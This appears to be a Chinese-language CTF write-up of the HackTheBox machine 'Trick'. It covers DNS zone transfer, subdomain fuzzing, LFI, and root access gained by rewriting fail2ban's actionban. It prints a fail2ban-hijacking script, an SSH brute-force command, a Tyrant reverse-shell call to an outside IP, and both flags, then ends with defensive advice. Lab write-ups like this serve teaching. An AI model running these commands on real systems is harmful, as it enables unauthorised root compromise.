[Meachines] [Easy] Trick DNS反向查询+Marketing LFI+Pany-LFI工具+fail2ban权限提升+Tyrant持久化
字数 880 2025-08-29 08:30:25

Trick 靶机渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap和Masscan进行初始扫描:

ip='10.10.11.166'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
    nmap -Pn -sV -sC -p "$ports" "$ip";
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
  fi;
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi

扫描结果:

  • 22/tcp: OpenSSH 7.9p1 Debian 10+deb10u2
  • 25/tcp: Postfix smtpd
  • 53/tcp: ISC BIND 9.11.5-P4-5.1+deb10u7 (DNS)
  • 80/tcp: nginx 1.14.2

1.2 DNS反向查询

dig @10.10.11.166 -x 10.10.11.166
echo '10.10.11.166 trick.htb' >> /etc/hosts

1.3 DNS区域传输

dig axfr @10.10.11.166 trick.htb
echo '10.10.11.166 preprod-payroll.trick.htb' >> /etc/hosts

2. Web应用渗透

2.1 子域名枚举

使用ffuf进行子域名爆破:

ffuf -w /usr/share/amass/wordlists/subdomains-top1mil-20000.txt -u http://trick.htb -H "Host:preprod-FUZZ.trick.htb" -ac

发现preprod-marketing.trick.htb后添加到hosts文件:

echo '10.10.11.166 preprod-marketing.trick.htb' >> /etc/hosts

2.2 参数发现

使用Arjun发现隐藏参数:

arjun -u 'http://preprod-marketing.trick.htb'

2.3 LFI漏洞利用

使用Pany工具进行本地文件包含测试:

python3 pany.py -u 'http://preprod-marketing.trick.htb?page=*'

成功利用后获取user flag:
10c468007a6adfbd703fcfb4f253bb91

3. 权限提升

3.1 fail2ban配置分析

检查fail2ban配置:

cd /etc/fail2ban/action.d
cat iptables-multiport.conf

发现当前用户属于security组,可以修改action.d目录下的文件。

3.2 利用Tyrant进行持久化

  1. 下载Tyrant工具:
https://github.com/MartinxMax/Tyrant
  1. 创建run.sh脚本:
#!/bin/bash
# run.sh
echo "Waiting for the file to exist..."
while [[ ! -f /etc/fail2ban/action.d/iptables-multiport.conf ]]; do
  sleep 0.1
done

echo "Backing up the original file..."
mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf.bak
cp /etc/fail2ban/action.d/iptables-multiport.conf.bak /etc/fail2ban/action.d/iptables-multiport.conf

echo "[+] Modifying the file..."
sed -i -e "s|actionban = .*|actionban = /tmp/tyrant|g" \
       -e "s|actionunban = .*|actionunban = /tmp/tyrant|g" \
       /etc/fail2ban/action.d/iptables-multiport.conf

echo "[*] Changing file permissions..."
chmod 666 /etc/fail2ban/action.d/iptables-multiport.conf

echo "[+] Restarting fail2ban service..."
sudo -u root /etc/init.d/fail2ban restart

if [[ $? -ne 0 ]]; then
  echo "[-] Fail2ban restart failed. Exiting."
  exit 1
fi

echo "[*] Monitoring /tmp/tyrant for SUID permission..."
while true; do
  if [[ -u /tmp/tyrant ]]; then
    echo "[+] Successfully detected SUID on /tmp/tyrant. Exiting."
    exit 0
  fi
  sleep 0.5
done
  1. 执行脚本:
./run.sh
  1. 触发fail2ban规则:
hydra -l root -P /home/maptnh/Desktop/rockyou.txt 10.10.11.166 ssh -t 4 -vV
  1. 利用Tyrant获取root权限:
/tmp/tyrant -uid 0 -rhost 10.10.16.33 -rport 4443

成功获取root flag:
ce2824dc567a34aa0e509ddb8337782b

4. 关键点总结

  1. DNS区域传输:通过AXFR请求获取子域名信息
  2. 子域名枚举:使用ffuf等工具爆破子域名
  3. LFI漏洞利用:通过Pany工具自动化测试本地文件包含
  4. fail2ban配置修改:利用security组权限修改action脚本
  5. Tyrant持久化:通过修改fail2ban的actionban指向恶意脚本获取root权限

5. 防御建议

  1. 限制DNS区域传输,仅允许授权服务器
  2. 对子域名枚举实施速率限制
  3. 对用户输入进行严格过滤,防止LFI漏洞
  4. 限制对fail2ban配置文件的访问权限
  5. 定期审计系统上的SUID/SGID文件
Trick 靶机渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap和Masscan进行初始扫描: 扫描结果: 22/tcp: OpenSSH 7.9p1 Debian 10+deb10u2 25/tcp: Postfix smtpd 53/tcp: ISC BIND 9.11.5-P4-5.1+deb10u7 (DNS) 80/tcp: nginx 1.14.2 1.2 DNS反向查询 1.3 DNS区域传输 2. Web应用渗透 2.1 子域名枚举 使用ffuf进行子域名爆破: 发现 preprod-marketing.trick.htb 后添加到hosts文件: 2.2 参数发现 使用Arjun发现隐藏参数: 2.3 LFI漏洞利用 使用Pany工具进行本地文件包含测试: 成功利用后获取user flag: 10c468007a6adfbd703fcfb4f253bb91 3. 权限提升 3.1 fail2ban配置分析 检查fail2ban配置: 发现当前用户属于security组,可以修改action.d目录下的文件。 3.2 利用Tyrant进行持久化 下载Tyrant工具: 创建run.sh脚本: 执行脚本: 触发fail2ban规则: 利用Tyrant获取root权限: 成功获取root flag: ce2824dc567a34aa0e509ddb8337782b 4. 关键点总结 DNS区域传输 :通过AXFR请求获取子域名信息 子域名枚举 :使用ffuf等工具爆破子域名 LFI漏洞利用 :通过Pany工具自动化测试本地文件包含 fail2ban配置修改 :利用security组权限修改action脚本 Tyrant持久化 :通过修改fail2ban的actionban指向恶意脚本获取root权限 5. 防御建议 限制DNS区域传输,仅允许授权服务器 对子域名枚举实施速率限制 对用户输入进行严格过滤,防止LFI漏洞 限制对fail2ban配置文件的访问权限 定期审计系统上的SUID/SGID文件